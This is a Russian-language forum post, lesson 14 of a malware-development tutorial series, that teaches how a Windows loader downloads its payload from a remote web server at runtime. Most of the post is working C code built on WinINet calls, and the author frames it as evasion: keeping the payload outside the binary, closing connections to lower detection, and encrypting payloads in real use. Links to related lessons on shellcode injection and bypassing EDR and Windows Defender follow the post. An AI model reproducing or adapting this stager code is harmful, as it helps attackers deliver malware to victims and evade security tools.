Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 165
Репутация
8 295
На протяжении всех статей до сих пор payload был постоянно хранящимся непосредственно внутри бинарного файла.

Это быстрый и часто используемый метод для извлечения payload. К сожалению, в некоторых случаях, когда существуют ограничения по размеру payload, сохранение payload внутри кода не является осуществимым подходом. Альтернативный подход заключается в размещении payload на веб-сервере и его извлечении во время выполнения.

Настройка Веб-сервера

Эта статья требует веб-сервера для размещения файла payload. Самый простой способ - использовать HTTP-сервер Python с помощью следующей команды:

Код:
python -m http.server 8000

1694767714022.png


Обратите внимание, что файл payload должен быть размещен в той же директории, где выполняется эта команда.

Чтобы проверить работу веб-сервера, перейдите по адресу с использованием браузера.

1694767759217.png


Плюсы и минусы данного метода

Использование веб-сервера для хранения payload предоставляет ряд преимуществ. Во-первых, это позволяет легко обновлять и менять payload без необходимости изменения исходного кода программы.
Во-вторых, это может упростить обход некоторых систем безопасности, поскольку payload не встроен напрямую в бинарный файл.

Тем не менее, такой подход также имеет свои недостатки.
Веб-сервер становится критической точкой, и если он становится недоступным или блокируется, payload не будет загружен. Также возрастает риск обнаружения, если сетевая активность подозрительна или необычна для данной программы.

Извлечение Payload

Для извлечения payload с веб-сервера будут использованы следующие API для Windows:

InternetOpenW - Открывает сеанс интернета, который является предварительным условием для использования других интернет-функций Windows.

InternetOpenUrlW - Открывает дескриптор для указанного ресурса, который является URL payload.

InternetReadFile - Считывает данные из дескриптора веб-ресурса. Это дескриптор, открытый с помощью InternetOpenUrlW.

InternetCloseHandle - Закрывает дескриптор.

InternetSetOptionW - Устанавливает опцию Интернета.

Открытие сеанса интернета

Первым шагом является открытие сеанса интернета с использованием функции InternetOpenW, которая инициализирует использование функций WinINet в приложении.
Все параметры, передаваемые в WinAPI, равны NULL, так как они в основном предназначены для вопросов, связанных с прокси.

Следует отметить, что установка второго параметра равным NULL эквивалентна использованию INTERNET_OPEN_TYPE_PRECONFIG, что указывает на использование текущей конфигурации системы для определения настроек прокси для подключения к Интернету.

C:
HINTERNET InternetOpenW(
[in] LPCWSTR lpszAgent, // NULL
[in] DWORD dwAccessType, // NULL или INTERNET_OPEN_TYPE_PRECONFIG
[in] LPCWSTR lpszProxy, // NULL
[in] LPCWSTR lpszProxyBypass, // NULL
[in] DWORD dwFlags // NULL
);

Вызов функции показан в следующем отрывке кода.

C:
// Открытие сеанса интернета
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

Открытие дескриптора для Payload
Переходим к следующему используемому WinAPI - InternetOpenUrlW, где устанавливается соединение с URL payload.

C:
HINTERNET InternetOpenUrlW(
[in] HINTERNET hInternet, // Дескриптор, открытый с помощью InternetOpenW
[in] LPCWSTR lpszUrl, // URL payload
[in] LPCWSTR lpszHeaders, // NULL
[in] DWORD dwHeadersLength, // NULL
[in] DWORD dwFlags, // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
[in] DWORD_PTR dwContext // NULL
);

Вызов функции показан в следующем отрывке кода.
C:
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

Пятый параметр функции использует INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID для повышения успешности запроса HTTP в случае ошибки на стороне сервера.
Возможно использовать дополнительные флаги, такие как INTERNET_FLAG_IGNORE_CERT_CN_INVALID, но это остается на усмотрение разработчика.
Флаги хорошо объяснены в документации Microsoft.

Чтение данных

Далее используется WinAPI InternetReadFile, который считывает payload.

C:
BOOL InternetReadFile(
[in] HINTERNET hFile, // Дескриптор, открытый с помощью InternetOpenUrlW
[out] LPVOID lpBuffer, // Буфер для хранения payload
[in] DWORD dwNumberOfBytesToRead, // Количество байт для чтения
[out] LPDWORD lpdwNumberOfBytesRead // Указатель на переменную, которая получает количество прочитанных байт
);

Перед вызовом функции необходимо выделить буфер для хранения payload. Для этого используется LocalAlloc для выделения буфера той же размерности, что и payload, 272 байта.
После выделения буфера можно использовать InternetReadFile для чтения payload. Функция требует указания количества байт для чтения, которое в данном случае равно 272.

C:
pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)

Закрытие дескриптора интернета

Для закрытия дескриптора интернета используется InternetCloseHandle.
Это следует вызвать после успешного получения payload.

C:
BOOL InternetCloseHandle(
[in] HINTERNET hInternet // Дескриптор, открытый с помощью InternetOpenW и InternetOpenUrlW
);

Закрытие соединений HTTP/S

Важно знать, что WinAPI InternetCloseHandle не закрывает соединение HTTP/S. WinInet пытается повторно использовать соединения, и, следовательно, несмотря на закрытие дескриптора, соединение остается активным. Закрытие соединения важно для снижения возможности обнаружения. Например, создан бинарный файл, который извлекает payload с GitHub.

На изображении ниже показано, что бинарный файл все еще подключен к GitHub, несмотря на то, что выполнение бинарного файла завершено.

1694768602981.png


К счастью, решение простое. Всё, что требуется — это указать WinInet закрыть все соединения с использованием API InternetSetOptionW.

Вызов InternetSetOptionW с флагом INTERNET_OPTION_SETTINGS_CHANGED заставит систему обновить кэшированную версию её интернет-настроек, что в конечном итоге приведет к закрытию сохраненных WinInet соединений.

C:
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);

Извлечение Payload - Фрагмент кода

Функция GetPayloadFromUrl использует вышеупомянутые шаги для извлечения payload с удаленного сервера и сохраняет его в буфере.

C:
BOOL GetPayloadFromUrl() {

    HINTERNET    hInternet              = NULL,
                hInternetFile          = NULL;

    PBYTE        pBytes                 = NULL;

    DWORD        dwBytesRead            = NULL;

    // Открытие дескриптора сеанса интернета
    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL) {
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Открытие дескриптора для URL payload
    hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL) {
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение буфера для payload
    pBytes = (PBYTE)LocalAlloc(LPTR, 272);

    // Чтение payload
    if (!InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)) {
        printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    InternetCloseHandle(hInternet);
    InternetCloseHandle(hInternetFile);
    InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    LocalFree(pBytes);

    return TRUE;
}

Динамическое выделение размера Payload

Вышеуказанная реализация работает, когда размер payload известен. Если размер неизвестен или больше количества байт, указанного в InternetReadFile, может возникнуть переполнение кучи, что приведет к аварийному завершению работы программы.

Один из способов решения этой проблемы заключается в том, чтобы поместить InternetReadFile в цикл while и продолжать читать постоянное количество байт, которое, в данном примере, равно 1024 байта.

Байты сохраняются непосредственно во временном буфере, который имеет тот же размер, 1024 байта. Временный буфер добавляется к общему буферу, который будет непрерывно перераспределяться, чтобы вмещать каждый новый фрагмент размером 1024 байта, считанный с сервера.
Как только InternetReadFile прочитает значение, которое меньше 1024, это будет индикатором достижения конца файла, и цикл завершится.

C:
BOOL GetPayloadFromUrl() {

    HINTERNET    hInternet              = NULL,
                hInternetFile          = NULL;

    DWORD        dwBytesRead            = NULL;

    SIZE_T        sSize                   = NULL; // Используется в качестве общего размера payload

    PBYTE        pBytes                  = NULL; // Используется в качестве общего буфера payload
    PBYTE        pTmpBytes               = NULL; // Используется как временный буфер размером 1024 байта

    // Открытие дескриптора сеанса интернета
    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL) {
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Открытие дескриптора для URL payload
    hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL) {
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение 1024 байтов для временного буфера
    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL) {
        return FALSE;
    }

    while (TRUE) {

        // Чтение 1024 байтов во временный буфер
        // InternetReadFile будет читать меньше байт в случае, если последний фрагмент меньше 1024 байтов
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
            printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
            return FALSE;
        }

        // Обновление размера общего буфера
        sSize += dwBytesRead;

        // В случае, если общий буфер еще не выделен
        // затем выделите его в размере считанных байтов, так как они могут быть меньше 1024 байтов
        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
        else
            // В противном случае, перераспределите pBytes равным общему размеру, sSize.
            // Это необходимо для размещения всего payload
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

        if (pBytes == NULL) {
            return FALSE;
        }

        // Добавить временный буфер в конец общего буфера
        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);

        // Очистите временный буфер
        memset(pTmpBytes, '\0', dwBytesRead);

        // Если было прочитано меньше 1024 байтов, это означает, что достигнут конец файла
        // Следовательно, выйти из цикла
        if (dwBytesRead < 1024) {
            break;
        }

        // В противном случае, читайте следующие 1024 байта
    }

    // Завершение работы
    InternetCloseHandle(hInternet);
    InternetCloseHandle(hInternetFile);
    InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    LocalFree(pTmpBytes);
    LocalFree(pBytes);

    return TRUE;
}

Финальный фрагмент кода для размещения Payload

Теперь функция GetPayloadFromUrl принимает 3 параметра:
  • szUrl - URL-адрес payload.
  • pPayloadBytes - возвращает базовый адрес буфера, содержащего payload.
  • sPayloadSize - общий размер прочитанного payload.
Функция также корректно закрывает соединения HTTP/S после завершения извлечения payload.

C:
BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
 
    BOOL        bSTATE            = TRUE;

    HINTERNET    hInternet         = NULL,
                hInternetFile     = NULL;

    DWORD        dwBytesRead       = NULL;

    SIZE_T        sSize             = NULL;
    PBYTE        pBytes            = NULL,
                pTmpByte          = NULL;

    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL){
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL){
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL){
        bSTATE = FALSE; goto _EndOfFunction;
    }

    while (TRUE){
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
            printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
            bSTATE = FALSE; goto _EndOfFunction;
        }

        sSize += dwBytesRead;

        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
        else
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

        if (pBytes == NULL) {
            bSTATE = FALSE; goto _EndOfFunction;
        }

        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
        memset(pTmpBytes, '\0', dwBytesRead);

        if (dwBytesRead < 1024){
            break;
        }
    }

    *pPayloadBytes = pBytes;
    *sPayloadSize  = sSize;

_EndOfFunction:
    if (hInternet)
        InternetCloseHandle(hInternet);
    if (hInternetFile)
        InternetCloseHandle(hInternetFile);
    if (hInternet)
        InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    if (pTmpBytes)
        LocalFree(pTmpBytes);
    return bSTATE;
}

Примечание к реализации

В этой статье payload извлекается из интернета в виде сырых двоичных данных, без шифрования или обфускации.

Хотя такой подход может обойти базовые меры безопасности, которые анализируют двоичный код на наличие признаков вредоносной деятельности, но его могут пометить сетевые сканирующие утилиты.

Таким образом, если payload не зашифрован, захваченные пакеты во время передачи могут содержать узнаваемые фрагменты payload.
Это может раскрыть сигнатуру payload, что приведет к тому, что процесс внедрения будет помечен.

В реальных условиях всегда рекомендуется шифровать или обфусцировать payload, даже если он извлекается во время выполнения.

Запуск финального бинарного файла

Бинарный файл успешно извлекает payload.

1694769370726.png


Соединения закрываются после завершения выполнения.

1694769403274.png
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 165
Репутация
8 295
Так пока время/желание есть.)
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 16
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
На заметку Разработка настоящего вируса в 2024 году
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-12. Иньекция в процесс
Уроки Разработка малвари-11. Локальный запуск Payload
Уроки Разработка малвари-10. Обфускация Payload
Уроки Разработка малвари-9. Шифруем Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Уроки Разработка малвари - 2. Изучаем инструменты
Верх Низ